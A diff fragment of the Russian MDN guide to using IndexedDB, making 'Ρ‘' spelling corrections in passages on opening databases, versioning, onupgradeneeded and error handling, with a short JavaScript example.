Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… асинхронных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ IndexedDB Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС - Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a>Β  с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ошибкой. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ open всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p>
-<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° open - это вСрсия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. ВСрсия опрСдСляСт схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… - Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β  ΠΈ ΠΈΡ… структуру . Если Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… Π΅Ρ‰Π΅ Π½Π΅ сущСствуСт, Ρ‚ΠΎ ΠΎΠ½Π° создаСтся ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ <code>open,</code> Π·Π°Ρ‚Π΅ΠΌ срабатываСт Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ события <code>onupgradeneeded </code>ΠΈ послС этого  ваш ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого события создаСт схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Если ΠΆΠ΅ Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… ΡƒΠΆΠ΅ сущСствуСт, Π° Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ вСрсии, Ρ‚ΠΎ сразу ΠΆΠ΅ срабатываСт Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ события <code>onupgradeneeded,</code> позволяя Π²Π°ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом см. Π² <a href="#Updating_the_version_of_the_database">ОбновлСниС вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</a> Π½ΠΈΠΆΠ΅ ΠΈ Π½Π° страницС {{ domxref("IDBFactory.open") }} справочника</p>
+<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° open - это вСрсия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. ВСрсия опрСдСляСт схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… - Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β  ΠΈ ΠΈΡ… структуру . Если Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… Π΅Ρ‰Ρ‘ Π½Π΅ сущСствуСт, Ρ‚ΠΎ ΠΎΠ½Π° создаётся ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ <code>open,</code> Π·Π°Ρ‚Π΅ΠΌ срабатываСт Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ события <code>onupgradeneeded </code>ΠΈ послС этого  ваш ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого события создаёт схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Если ΠΆΠ΅ Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… ΡƒΠΆΠ΅ сущСствуСт, Π° Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ вСрсии, Ρ‚ΠΎ сразу ΠΆΠ΅ срабатываСт Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ события <code>onupgradeneeded,</code> позволяя Π²Π°ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом см. Π² <a href="#Updating_the_version_of_the_database">ОбновлСниС вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</a> Π½ΠΈΠΆΠ΅ ΠΈ Π½Π° страницС {{ domxref("IDBFactory.open") }} справочника</p>
<div class="warning">
<p>ВСрсия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ прСдставлСниС <code>unsigned long long</code> number (Π΄Π»ΠΈΠ½Π½ΠΎΠ΅ Π΄Π»ΠΈΠ½Π½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ Π±Π΅Π· Π·Π½Π°ΠΊΠ°), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ большиС Ρ†Π΅Π»Ρ‹Π΅ значСния. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ смысла ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ (float), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ сконвСртировано Π² блиТайшСС мСньшСС Ρ†Π΅Π»ΠΎΠ΅. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒΡΡ транзакция ΠΈΠ»ΠΈ ΡΡ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€ события <code>upgradeneeded</code>. НапримСр, Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  2.4 ΠΊΠ°ΠΊ Π²Π΅Ρ€ΡΠΈΡŽ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…:</p>
@@ -90,11 +90,11 @@ request.onsuccess = function(event) {
<p>Какая ΠΈΠ· Π΄Π²ΡƒΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ<code> - onsuccess()</code> ΠΈΠ»ΠΈ <code>onerror()</code> - Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π°?Β  Если всё Π² порядкС - Ρ‚ΠΎ инициируСтся событиС успСха (это событиС DOM,Β  свойство type ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ выставлСно Π² <code>"success"</code>)Β  с <code>request</code> Π² качСствС <code>target</code>. Π­Ρ‚ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ запуск  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>onsuccess()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>request</code>Β  с событиСм успСха Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Ссли Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ρ‚ΠΎ происходит событиС ошибки (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ событиС DOM, свойство <code>type</code> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ установлСно Π²Β  <code>"error"</code>)Β . Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ запуску  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code><code>onerror()</code></code> с событиСм ошибки Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
-<p>IndexedDB API Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок, поэтому скорСС всСго Π²Ρ‹ Π½Π΅ встрСтитС ΠΌΠ½ΠΎΠ³ΠΎ событий ошибки запроса (ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот API!). Однако ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π΅ΡΡ‚ΡŒ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… условий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ события ошибок. НаиболСС вСроятной ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ являСтся Π·Π°ΠΏΡ€Π΅Ρ‚ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Π½Π° созданиС Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, установлСнный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Одной ΠΈΠ· основных Ρ†Π΅Π»Π΅ΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ IndexedDB - это обСспСчСниС возмоТности сохранСния Π±ΠΎΠ»ΡŒΡˆΠΈΡ… объСмов Π΄Π°Π½Π½Ρ‹Ρ… для использования ΠΎΡ„Π»Π°ΠΉΠ½. (Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ,Β  сколько памяти Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡΠΌ памяти</a>).</p>
+<p>IndexedDB API Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ошибок, поэтому скорСС всСго Π²Ρ‹ Π½Π΅ встрСтитС ΠΌΠ½ΠΎΠ³ΠΎ событий ошибки запроса (ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот API!). Однако ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π΅ΡΡ‚ΡŒ нСсколько ΠΎΠ±Ρ‰ΠΈΡ… условий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ события ошибок. НаиболСС вСроятной ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ являСтся Π·Π°ΠΏΡ€Π΅Ρ‚ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Π½Π° созданиС Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, установлСнный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Одной ΠΈΠ· основных Ρ†Π΅Π»Π΅ΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ IndexedDB - это обСспСчСниС возмоТности сохранСния Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΎΠ±ΡŠΡ‘ΠΌΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… для использования ΠΎΡ„Π»Π°ΠΉΠ½. (Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ,Β  сколько памяти Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡΠΌ памяти</a>).</p>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ стрСмятся Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π½Π°Π·ΠΎΠΉΠ»ΠΈΠ²Ρ‹ΠΌ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΌ сСтям ΠΈΠ»ΠΈ врСдоносным сайтам Π·Π°ΡΠΎΡ€ΡΡ‚ΡŒ ваш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ любого Π²Π΅Π±-прилоТСния ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ IndexedDB, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ - Ρ‚ΠΎ Π»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, Ρ‚ΠΎ Π»ΠΈ Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ΡŒ доступ. ΠšΡ€ΠΎΠΌΠ΅ этого, Π² ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… Ρ€Π΅ΠΆΠΈΠΌΠ°Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² (частный просмотр для Firefox ΠΈ Ρ€Π΅ΠΆΠΈΠΌ ΠΈΠ½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ для Chrome), IndexedDB ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π° для использования. Π’Π°ΠΊ ΠΊΠ°ΠΊ Ρ†Π΅Π»ΡŒ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… Ρ€Π΅ΠΆΠΈΠΌΠΎΠ² - Π½Π΅ ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ слСдов, Ρ‚ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π² Ρ‚Π°ΠΊΠΈΡ… Ρ€Π΅ΠΆΠΈΠΌΠ°Ρ….</p>
-<p>А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΠ» Π²Π°ΡˆΠ΅ΠΌΡƒ запросу ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΡΠΎΡΡ‚ΠΎΡΠ»ΠΎΡΡŒ событиС успСха, Π·Π°ΠΏΡƒΡΡ‚ΠΈΠ²ΡˆΠ΅Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события успСха. Π§Ρ‚ΠΎ дальшС? Π’Π°ΠΊ ΠΊΠ°ΠΊ ваш запрос Π±Ρ‹Π» сгСнСрирован с Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>indexedDB.open(), Ρ‚ΠΎ </code><code>request.result</code> Β  являСтся экзСмпляром ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>IDBDatabase</code> ΠΈ Π²Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ для Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ использования. Π’Π°Ρˆ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΠ» Π²Π°ΡˆΠ΅ΠΌΡƒ запросу ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΡΠΎΡΡ‚ΠΎΡΠ»ΠΎΡΡŒ событиС успСха, Π·Π°ΠΏΡƒΡΡ‚ΠΈΠ²ΡˆΠ΅Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события успСха. Π§Ρ‚ΠΎ дальшС? Π’Π°ΠΊ ΠΊΠ°ΠΊ ваш запрос Π±Ρ‹Π» сгСнСрирован с Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>indexedDB.open(), Ρ‚ΠΎ </code><code>request.result</code> Β  являСтся экзСмпляром ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>IDBDatabase</code> ΠΈ Π²Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ для Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ использования. Π’Π°Ρˆ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> db<span class="punctuation token">;</span>
<span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
@@ -116,17 +116,17 @@ request<span class="punctuation token">.</span>onsuccess <span class="operator t
};
</pre>
-<p>Одной ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ошибок ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… являСтся <code>VER_ERR. </code>Она сигнализируСт ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вСрсия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, сохранСнная Π½Π° дискС, <em>большС</em>, Ρ‡Π΅ΠΌ вСрсия, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ. Вакая ошибка Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π² ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ порядкС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок.Β </p>
+<p>Одной ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ошибок ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… являСтся <code>VER_ERR. </code>Она сигнализируСт ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вСрсия Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, сохранённая Π½Π° дискС, <em>большС</em>, Ρ‡Π΅ΠΌ вСрсия, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ. Вакая ошибка Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π² ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ порядкС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ошибок.Β </p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΈΠ»ΠΈ_ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅_вСрсии_Π±Π°Π·Ρ‹_Π΄Π°Π½Π½Ρ‹Ρ…">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>Когда Π²Ρ‹ создаСтС Π½ΠΎΠ²ΡƒΡŽ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚Π΅ Π½ΠΎΠΌΠ΅Ρ€ вСрсии ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (задавая больший Π½ΠΎΠΌΠ΅Ρ€ вСрсии, Ρ‡Π΅ΠΌ Ρ‚ΠΎΡ‚ Π½ΠΎΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π²Π°ΠΌΠΈ ΡƒΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускаСтся событиС <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. Π’ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ этого события Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для этой вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…:</p>
